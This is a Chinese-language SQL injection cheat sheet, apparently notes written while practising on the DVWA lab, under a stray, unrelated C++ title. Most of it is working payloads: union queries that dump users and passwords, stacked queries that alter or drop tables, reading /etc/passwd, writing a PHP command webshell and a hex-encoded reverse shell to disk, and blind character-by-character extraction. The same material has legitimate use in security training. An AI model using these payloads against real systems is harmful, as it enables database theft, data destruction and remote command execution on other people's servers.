C++-指標陣列與陣列指標
SQLi
五種檢測方式
- 布林型
and 1=1 --
和and 1=2 --
- 時間型
- 錯誤型 輸入一個 ‘ 造成錯誤,對盲注無效
- 聯合型 基於union的聯合查詢,適用於後臺通過for輸出結果,否則只有第一個結果
- 堆疊型 連線不同語句,可以用於增刪該
基於報錯的檢測
輸入' " % ( ) 檢視是否出錯
檢測
基於布林的報錯
假設後臺語句 select * from users where id = ___
輸入 | 拼接得到語句 | |
---|---|---|
' and '1' = '1 或 1' and '1 | select * from users where id = ' ' and '1' = '1' | 不會影響結果 |
' and '1' = '2 或 1' and '0 | select * from users where id = ' ' and '1' = '2 ' | 報錯 |
' or '1' = '1' 或 ' or '1 | select * from users where id = ' ' or '1' = '1' | 查詢到所有資料 |
查詢
可利用 burp 的爆破功能爆破
列數
' order by 2 --
// 判斷是否大於等於兩行,-- 後需要有一個空格
' and \(columnName\) is null -- | 猜列名,存在無反應,不存在報錯 |
' and \(table\).column is null -- | 猜本表名,列名已知 |
' and \(db\).table.column is null -- | 猜本庫名 |
' and (select cout(*) from \(table\))>0 -- | 猜本庫其他表名,當table不存在報錯 |
' and othertable.\(column\) is null -- | 猜其他表列名 |
' or user = 'admin' -- ' or user like %a% -- |
猜欄位 |
' or user='admin' and password 'md5hashmd5hashmd5hashmd5hashmd5hash' -- | 猜賬號對應密碼 |
'; update users set user='user' where user='admin' -- | 寫當前表 |
'; insert .........; -- | |
'; delete ........; -- '; drop table users; -- |
聯合查詢
' union select 1,2 -- | select * from users where id = '' union select 1,2 -- ' | 查詢第一個第二個欄位的名稱。聯合查詢的資料列數要相同 |
' union select * from ___ | select * from users where id = '' union select * from ___ | |
' union all select database() | ||
' union select user(), 2 -- | select * from users where id='' union select user(), 2 |
mysql函式:
@@datadir
@@hostname
@@version
@@version_compile_os
char() 將ASCII轉為字元,防止被伺服器過濾
concat() 連線函式
concat_ws(char(32,58,32), user(), database(), version()) 將查詢函式結果連線並按第一個字串分隔
md5()
database()
user()
version()
mysql 表結構
information_schema 包含了資料庫的元資訊
' union select table_name,table_schema from information_schema.tables-- | 查表名與庫名 |
' union select table_schema,count(*) from information_schema.tables group by table_schema -- | 查庫及其包含的表個數 |
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'-- | dvwa庫下的表 |
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’-- | 查詢dvwa庫中表名與列名 |
' union select user,password from dvwa.users-- | |
' union select null, concat(user,0x3a,password) from users-- |
操作檔案
load_file() 讀檔案 | ' union select null, load_file('/etc/passwd') -- | |
寫檔案 | ' union select null, "<?php passthru($_GET['cmd']) ?>" into dumpfile "cmd.php" -- | |
mysql賬號許可權不夠大時無法訪問information_schema | ' union select null, concat(user, 0x3a, password) from users into outfile '/tmp/db.txt' -- |
寫入檔案時mysql預設寫入家目錄下 /usr/lib/mysql/dvwa/cmd.php ;但執行php的apache使用者無許可權訪問,且mysql也無法將木馬寫入/var/www目錄下
可將木馬寫入/tmp/目錄下,再通過檔案包含漏洞執行
上傳webshell檔案 /usr/share/webshells/php/php-reverse-shell.php
編碼為16進位制可防止字元過濾。mysql的 into dumpfile 會將其轉換為字元。使用 xxd 工具,再使用 tr 去除\n cat webshell.php | xxd -ps | tr -d '\n'。此webshell過大,無法用get方式上傳
盲注
即資料庫的錯誤資訊不顯示在頁面。
- 布林盲注 布林很明顯Ture跟Fales,也就是說它只會根據你的注入資訊返回Ture跟Fales,也就沒有了之前的報錯資訊。
- 時間盲注 介面返回值只有一種,true 無論輸入任何值 返回情況都會按正常的來處理。加入特定的時間函式,通過檢視web頁面返回的時間差來判斷注入的語句是否正確。
Length()函式 返回字串的長度
Substr()擷取字串
Ascii()返回字元的ascii碼
sleep(n):將程式掛起一段時間 n為n秒
if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句
判斷
/* 整型注入 */
sql-bool.php?name=user1 and 1=1
sql-bool.php?name=user1 and 1=2
/* 字元型注入 */
sql-bool.php?name=user1' and '1'='1
sql-bool.php?name=user1' and '1'='2
/* 字元型注入 */
sql-bool.php?name=user1" and "1"="1
sql-bool.php?name=user1" and "1"="2
根據payload返回的成功或失敗可以判斷是否存在注入點
讀資料
由於盲注無法回顯,所以只能通過將獲取到的資料挨個字元擷取,然後再通過轉換為ASCII碼的方式與可見字元的ASCII值一一對比
/* 判斷庫名長度 */
sql-bool.php?name=user1' and (select length(database())) = 1 and '1'='1
sql-bool.php?name=user1' and (select length(database())) = 2 and '1'='1
sql-bool.php?name=user1' and (select length(database())) = 3 and '1'='1
sql-bool.php?name=user1' and (select length(database())) = 4 and '1'='1
然後我們再一位一位的判斷字元內容,由於mysql庫名不區分大小寫,且組成元素為26位英文字母、數字和下劃線,所以只需要和這些字元的ASCII值進行比較
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 97 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 98 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 99 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 100 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 101 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 102 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 103 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 104 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 105 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 106 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 107 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 108 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 109 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 110 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 111 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 112 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 113 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 114 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 115 and '1'='1
sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 116 and '1'='1
當與其他ASCII值判斷時,返回均為假,與116判斷是否相等時,返回為真,由此可判斷資料庫名第一個字元的ASCII值為116,再通過ASCII轉換為字元,可得知當前資料庫名第一個字元內容為't'